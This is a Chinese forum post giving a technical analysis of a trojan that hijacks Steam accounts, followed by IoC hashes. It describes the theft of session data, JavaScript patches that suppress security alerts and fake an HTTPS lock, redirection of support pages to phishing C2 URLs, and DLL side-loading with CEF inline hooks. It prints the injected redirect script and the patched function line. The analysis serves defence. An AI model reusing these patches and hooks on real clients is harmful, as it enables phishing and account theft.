首页
社区
课程
招聘
[原创]针对Steam 定制化钓鱼木马的技术分析报告
发表于: 2026-7-13 10:27 818

[原创]针对Steam 定制化钓鱼木马的技术分析报告

2026-7-13 10:27
818






一、执行摘要








本次分析的恶意样本是一款高度定制化、针对 Steam 客户端的账户劫持木马


该威胁通过“前端文件篡改”与“底层内存劫持”相结合的双层架构,实施隐蔽的钓鱼攻击。


攻击链主要分为两个阶段:


1.静态篡改与凭证窃取阶段: 恶意软件通过预定义的硬编码路径定位 Steam 安装目录,解析 userdata 目录与 localconfig.vdf 文件以窃取目标用户的敏感会话信息。随后,程序直接篡改 SteamUI 的核心 JavaScript 代码,强行关闭官方安全告警逻辑,伪造 SSL 安全凭证(强制显示绿锁),并将客户端的正常交互动作(如点击“开始游戏”)以及原生客服路由重定向至攻击者控制的 C2 节点。


2.动态劫持与持久化阶段: 样本利用 DLL 侧载技术,将恶意模块 version.dll 植入 Steam 的 Chromium 嵌入式框架(CEF)目录中实现持久化。当注入到 steamwebhelper.exe 进程后,该 DLL 在内存中对 CEF 的核心导出函数及客户端回调虚表(VTable)实施 Inline Hook。通过静默拦截特定的网络导航请求(如 HelpTradeRestore),恶意组件会异步强制客户端加载伪造的客服红信页面,并同时裁剪右键菜单功能以阻断用户的审查与调试。










二、恶意行为分析








主程序详细分析


恶意软件并未实现对整个文件系统的遍历或者读取注册表的Steam的安装路径,而是在程序内部嵌入了四个预定义的路径,在扫描的过程中,根据这四个路径拼凑出 steam.exe 的绝对路径,通过读取该文件是否存在来判断路径是否命中。


"C:\\Program Files (x86)\\Steam"
"C:\\Program Files\\Steam"
"D:\\Steam"
"E:\\Steam"






在定位 Steam 安装路径后,会拼凑出 userdata 的绝对路径,接着根据文件时间来找出最近登录过的那个账户的ID。






在决定好受害者之后,该恶意软件会读取 localconfig.vdf 的内容,尝试从里面提取敏感信息。








接着恶意软件会定位 steamui 的绝对路径,开始实施页面伪造。






该恶意软件实现了一个函数用来扫描 js 文件,并对 js 代码进行替换,从而改变原始代码的执行流。






!!this.m_CurrentUser?.bSupportPopupMessage this.m_CurrentUser.bSupportAlertActive 这几行代码用来检测当前用户是否有弹窗消息和安全警告是否激活。


该恶意软件会搜索这几行代码,并把它们强行替换为 0。这样一来,如果 Steam 官方发现账号异地登录,发出了红色的安全警告,受害者的客户端上也会什么都不显示。






&&a&&a.startsWith("feeK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Q4x3U0k6I4N6h3!0@1i4K6y4n7i4K6t1&6i4K6t1$3j5h3#2H3i4K6y4n7i4K6t1$3j5h3#2H3i4K6y4n7M7W2)9K6c8W2)9J5k6h3u0u0M7#2y4W2j5%4g2J5k6g2)9J5k6g2)9J5k6g2)9J5k6b7`.`. 是 Steam 内置浏览器的地址栏绘制代码。






该恶意软件同样篡改了这段逻辑,使得无论浏览器访问的是什么钓鱼网站(哪怕没有 HTTPS 证书、证书报错),浏览器的地址栏上都会显示一把绿色的安全锁。受害者一看有安全锁,就会放松警惕。


在代码篡改成功之后,恶意软件开始动态构建用于数据回传和流量劫持的 C2 链接。恶意代码同时拼接了两套 URL 结构。一套用于后台 API 通信(/steamhelper),另一套包含 .html 后缀用于前端劫持渲染。






随后恶意软件把这些网址动态写入到一段 JavaScript 代码中,最终用来篡改 SteamUI。










// 1. 保存 Steam 原本想打开的正常安全网址
let i = r.url; 

// 2. 定义变量 s,存放黑客的钓鱼网址
const s = "f1bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Q4y4f1u0Q4c8e0k6Q4z5o6q4Q4b7U0k6Q4c8e0k6Q4z5o6c8Q4z5p5k6Q4c8e0g2Q4z5f1k6Q4z5f1k6Q4c8e0g2Q4z5e0m8Q4z5p5c8Q4y4f1c8Q4x3V1k6K6N6r3g2S2L8h3S2W2L8s2m8W2M7W2)9J5k6h3S2@1L8h3I4Q4x3@1k6#2i4K6y4p5x3q4)9J5k6g2)9J5k6g2)9J5k6g2)9J5y4Y4q4#2L8%4c8Q4x3@1u0Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7

// 3. 核心劫持逻辑:狸猫换太子
i = {
 "SupportMessages": "368K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Q4y4f1u0Q4c8e0k6Q4z5o6q4Q4b7U0k6Q4c8e0k6Q4z5o6c8Q4z5p5k6Q4c8e0g2Q4z5f1k6Q4z5f1k6Q4c8e0g2Q4z5e0m8Q4z5p5c8Q4y4f1c8Q4x3V1k6K6N6r3g2S2L8h3S2W2L8s2m8W2M7W2)9K6c8X3c8Q4x3@1c8Q4x3X3g2Q4x3X3g2Q4x3X3g2Q4x3U0k6I4N6h3!0@1i4K6y4n7i4K6u0o6i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`.
 "HelpAppPage": s, 
 "HelpFrontPage": s                                              
}[e] ?? i; 

// 4. 返回最终被篡改的网址,交由 Steam 内置浏览器打开
return




注入的 JavaScript 使用了键值对映射的模式拦截 Steam 内部的路由参数。当识别到用户尝试访问安全敏感页面(如 "SupportMessages", "HelpAppPage", "HelpFrontPage")时,脚本会立刻废弃合法的 r.url,将其覆盖为攻击者的钓鱼 URL。






aOngameactionus   OnGameActionUserRequest(e,t,r,i,n){SteamClient?.URL?.ExecuteSteamURL("steam://open/supportalert");return;if
aOngameactionus_0   OnGameActionUserRequest(e,t,r,i,n){if

aOngameactionus_0 (原始代码): 是 Steam 客户端内部正常的 JavaScript 函数。(On Game Action User Request),当受害者在 Steam 里点击“开始游戏”、“加入好友游戏” 或 “接受游戏邀请”等日常操作时,就会触发这个函数。


恶意软件在原始函数最开头塞入了 SteamClient?.URL?.ExecuteSteamURL("steam://open/supportalert"); 并紧跟着一个 return。


篡改后,只要受害者一点击“开始游戏”,Steam 就不会去运行游戏了(因为被 return 拦截了),而是强制执行 steam://open/supportalert 命令。这个命令原本是 Steam 用来弹出“官方客服红信/安全警告弹窗”的。


由于在执行上面这段代码之前,恶意软件已经把 Steam 的底层路由逻辑给改了。受害者的 Steam 客户端里,所谓的“官方客服弹窗 (Support Alert)”,已经被偷偷替换成了带有受害敏感信息的黑客钓鱼网站 ([恶意域名]/steamhelper.html...)。


最后恶意软件执行 DLL侧载。将恶意的DLL拷贝到Steam的CEF框架目录中,当程序启动时首先会在当前目录下搜索 version.dll,当程序需要调用正常的 version.dll 函数时,version.dll 会转发给 versionOrg.dll 让这个干净的DLL执行正常功能。










version.dll


该恶意DLL会修改Steam的客户端界面,伪造一个红信通知,当点击红信通知之后,会自动重定向到攻击者的恶意域名从而完成攻击者的恶意行为。






该恶意DLL(version.dll)被加载后,会先检测宿主进程,只有在注入到 Steam 的内置浏览器进程(steamwebhelper.exe)时才会继续执行。一旦检测到 CEF 加载,它便对 CEF 创建浏览器的核心导出函数进行了 Inline Hook(内联挂钩)。


libcef.dll 加载确认后,样本动态解析出核心浏览器实例创建函数(cef_browser_host_create_browser 与 cef_browser_host_create_browser_sync),随后调用内部函数对解析出的导出函数进行 Inline Hook。








当宿主程序尝试创建新的 CEF 浏览器窗口时,执行流被重定向至恶意函数。


恶意 DLL 在成功挂钩 CEF 浏览器实例创建过程后,进一步向核心事件处理机制渗透的具体执行逻辑。样本直接在内存中篡改其底层虚表的函数指针,从而全面接管浏览器的事件委托模型。






恶意软件利用基于请求拦截的静默页面劫持的方式,持续监控所有的页面请求与导航行为。程序在内存中解密关键目标特征字符串 HelpTradeRestore(对应 Steam 客服与交易恢复接口)。






当探测到当前请求 URL 命中目标特征时,恶意代码立即阻断原始 CEF 请求逻辑。为防止阻塞 UI 线程,该恶意软件创建独立线程,通过 CEF 对象的底层虚表方法,强制当前浏览器实例加载攻击者预设的钓鱼链接:657K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Q4y4f1u0Q4c8e0k6Q4z5o6q4Q4b7U0k6Q4c8e0k6Q4z5o6c8Q4z5p5k6Q4c8e0g2Q4z5f1k6Q4z5f1k6Q4c8e0g2Q4z5e0m8Q4z5p5c8Q4y4f1c8Q4x3V1k6A6L8X3c8W2P5o6u0Q4x3X3g2Z5N6r3#2D9i4@1f1K6i4K6R3H3i4K6R3J5






为配合上述页面劫持行为,该恶意软件通过对 CEF 框架渲染出的右键菜单进行动态枚举与裁剪,实施了针对客户端 UI 的功能限制,强制遍历当前所有的上下文菜单项,并定向移除 Command ID 为 125 和 131 的特定功能指令。






劫持之后,再对steam进行右键时,右键菜单的部分内容已经被剔除。












三、IoCs








MD5:  ef004ce49b2869d05e6c60dbbf5c8c89


SHA-1:  3cddbbef6be60039cef9f000c74c7f0fdb4f6d95


SHA-256:  d18731d342eced9c7b0d27b51d97669e4231dbe5547f900491b9caf06f768e15




[内核课程]《Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

最后于 2026-7-13 10:47 被瞬犀安全编辑 ,原因:
收藏
免费 0
打赏
分享
最新回复 (2)
雪    币: 4963
活跃值: (12974)
能力值: (RANK:385 )
在线值:
发帖
回帖
粉丝
2
请修改下文章.图不可用.
2026-7-13 10:43
0
雪    币: 738
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
TkBinary 请修改下文章.图不可用.
已修改
2026-7-13 10:47
0
游客
登录 | 注册 方可回帖
返回